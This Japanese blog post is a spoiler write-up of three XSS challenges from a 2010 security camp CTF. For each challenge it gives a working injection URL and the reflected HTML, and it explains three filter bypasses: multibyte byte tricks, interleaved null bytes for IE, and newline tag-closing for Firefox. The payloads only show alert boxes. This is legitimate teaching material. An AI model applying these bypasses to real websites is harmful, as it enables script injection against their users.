セプキャン2010で出たXSSの問題(ネタバレ)

一度消えたXSSの記事を復活させました。

注意書き

はせがわさんに大まかに教えてもらった上で解いたので、全部自力という訳ではないです><

記事を書いたのは8月19日で、そこから公開をためらっていたのですが、少し需要があるようなので公開します。

以下ネタバレ注意です!

別の解き方があれば教えてください。

セプキャンのCTFで出たXSS問題とは

問題一覧はこちら
セキュリティ&プログラミングキャンプのCTFで出題したXSS問題

答えを得るだけであれば以下のスクリプトだけでよさそうです。

javascript:result('k', (new Date()).getTime())

一問目の回答例

動作ブラウザ:だいたいどれでもOK?

http://utf-8.jp/cgi-bin/xss1/search.cgi?q=%E1%22%3E%E1%22%3Cscript%20%E1%3E(alert)(1);//%E1%22%3C%2Fscript%20%E1%22%3E

20
<input type="text" id="q" name="q" size="" value="【ここに検索ワード!】" />

20
<input type="text" id="q" name="q" size="" value="【%E1】">【%E1】"<script 【%E1】>(alert)(1);//【%E1】"</script>

%E1が肝みたいなんだけど、よくわかんないっす。

あとは、「alert(1)」が「ale#t(1)」に変えられるため、「(alert)(1)」にしてエスケープを回避する。
img要素のonloadとかonerrorを使ったり、シングルクオートはエスケープされないことを利用して、「window[’a’+’lert’](1)」にしても通ります。(by Yosuke HASEGAWA

追記

id:efclさんのブコメにて

1は%E1を使ったタグ破壊。 (%E1~%EFあたりを使う)
%E1″>%E1″(alert)(1);//%E1″

http://www.akiyan.com/blog/archives/2006/03/xsscssebcss.html

マルチバイト文字列の仕様を突いて半端な文字列を送信しクオート文字を無効化(escape)する

2問目の回答例

ヒントをもらうと一番簡単に終わった問題。

動作ブラウザ:IE

http://utf-8.jp/cgi-bin/xss2/search.cgi?q=%22%3E%00%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00%2F%00s%00c%00r%00i%00p%00t%00%3E%00

20
<input type="text" id="q" name="q" size="" value="【ここに検索ワード!】" />

20
<input type="text" id="q" name="q" size="" value=""><script>alert(1)</script>" />

アクセスすると、IEで動作する。

文字をいろいろエスケープしてるようなので、%00を文字と文字の間に挟み、エスケープを回避する。
IEだと%00は無視されるので実行される。

3問目の回答例

動作ブラウザ:Firefox

http://utf-8.jp/cgi-bin/xss3/search.cgi?q=%3C%2Fscript%0D%0A%3Cbody%0D%0Aonload%3Dalert%281%29%0D%0A

12
13
14
15
16
17
18
19
20
<script type="text/javascript">
function setItem()
{
    var key="【ここに検索ワード!】";
    document.title = key + " - Spcamp 検索";
    $( "#q" ).val( key );
    result( "qq", key );
}
</script>

12
13
14
15
16
17
18
19
20
21
22
23
24
<script type="text/javascript">
function setItem()
{
    var key="</script
<body
onload=alert(1)
 
";
    document.title = key + " - Spcamp 検索";
    $( "#q" ).val( key );
    result( "qq", key );
}
</script>

アクセスすると、Firefoxで動作する。

「>」「”」がエスケープされているので、一見script要素からの脱出が難しそうに見えるが、Firefoxだと改行することで要素を閉じることができる。

最後にもう一度

他の解き方を募集しています。